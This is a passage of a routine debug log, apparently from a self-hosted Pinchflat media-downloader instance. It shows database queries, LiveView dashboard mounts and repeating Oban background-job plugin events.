s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:52:29.348 [debug] QUERY OK source="settings" db=0.4ms idle=59.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:52:29.349 [debug] QUERY OK source="tasks" db=0.2ms idle=12.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 00:52:29.350 [debug] QUERY OK source="media_items" db=0.2ms queue=0.3ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:52:29.355 [debug] QUERY OK source="media_items" db=4.1ms queue=0.1ms idle=4.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:52:29.372 [debug] QUERY OK source="media_items" db=16.1ms queue=0.5ms idle=8.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 00:52:29.375 [debug] QUERY OK source="media_items" db=1.3ms queue=0.3ms idle=24.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:52:29.375 [debug] QUERY OK source="sources" db=0.1ms queue=0.2ms idle=25.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:52:29.377 [info] Sent 200 in 91ms 00:52:29.892 [info] CONNECTED TO Phoenix.LiveView.Socket in 27µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CiViJy4dH0ION2tmOgdFBAEPMhwsPgYrFIZwWLxsIr_9vEqRvGpKUQ2D", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 00:52:29.935 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "Ll8PyQg1GE4_LB4VwHBWyo4o", "media_state" => "downloaded"} 00:52:29.936 [debug] QUERY OK source="media_items" db=1.0ms idle=584.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:52:29.937 [debug] QUERY OK source="media_items" db=1.0ms idle=581.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:52:29.938 [debug] Replied in 2ms 00:52:29.938 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "Ll8PyQg1GE4_LB4VwHBWyo4o", "media_state" => "pending"} 00:52:29.940 [debug] QUERY OK source="media_items" db=1.3ms idle=566.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 00:52:29.941 [debug] QUERY OK source="media_items" db=1.1ms idle=565.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:52:29.942 [debug] QUERY OK source="sources" db=0.5ms idle=566.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:52:29.942 [debug] Replied in 3ms 00:52:29.944 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "Ll8PyQg1GE4_LB4VwHBWyo4o"} 00:52:29.945 [debug] QUERY OK source="tasks" db=0.6ms idle=8.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 00:52:29.945 [debug] Replied in 1ms 00:52:29.946 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "Ll8PyQg1GE4_LB4VwHBWyo4o"} 00:52:29.946 [debug] Replied in 48µs 00:52:52.630 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.590 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:22.632 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:52.634 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.591 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:22.636 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:52.639 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.592 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:22.640 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:52.641 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.593 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:22.643 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:52.645 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.594 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:22.647 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:52.649 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.596 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:22.651 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:52.655 [info] {"source":"oban","duration":2994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.602 [info] {"source":"oban","duration":5743,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:22.657 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:52.659 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.604 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:22.662 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:52.663 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.605 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:22.665 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:52.667 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.607 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:22.669 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:52.671 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.608 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:22.673 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:52.675 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.609 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:22.677 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:52.678 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.610 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:22.680 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:52.682 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.611 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:22.684 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:52.686 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.612 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:22.688 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:52.690 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.613 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:22.692 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:52.694 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.614 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:22.696 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:52.698 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.616 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:22.701 [info] {"source":"oban","duration":1778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:52.703 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.618 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:22.704 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:52.707 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.621 [info] {"source":"oban","duration":2657,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:22.709 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:52.711 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.623 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:22.713 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:52.715 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.625 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:22.717 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:52.719 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.626 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:22.721 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:52.725 [info] {"source":"oban","duration":2653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.627 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:22.727 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:52.729 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.628 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:22.731 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:52.733 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.630 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:22.736 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:52.737 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.631 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:22.739 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:52.741 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.633 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:22.743 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:52.745 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.635 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:22.747 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:52.749 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.636 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:22.751 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:52.754 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.638 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:22.755 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:52.757 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.639 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:22.759 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:52.761 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.640 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:22.763 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:52.765 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.641 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:22.767 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:52.769 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.644 [info] {"source":"oban","duration":2212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:22.771 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:52.773 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.645 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:22.775 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:52.777 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.647 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:22.779 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:52.781 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.649 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:22.784 [info] {"source":"oban","duration":1985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:52.787 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.653 [info] {"source":"oban","duration":2793,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:22.792 [info] {"source":"oban","duration":3955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:52.794 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.655 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:22.796 [info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:52.798 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.658 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:22.800 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:52.802 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.659 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:22.806 [info] {"source":"oban","duration":2473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:52.807 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.660 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:22.809 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:52.811 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.661 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:22.813 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:52.815 [info] 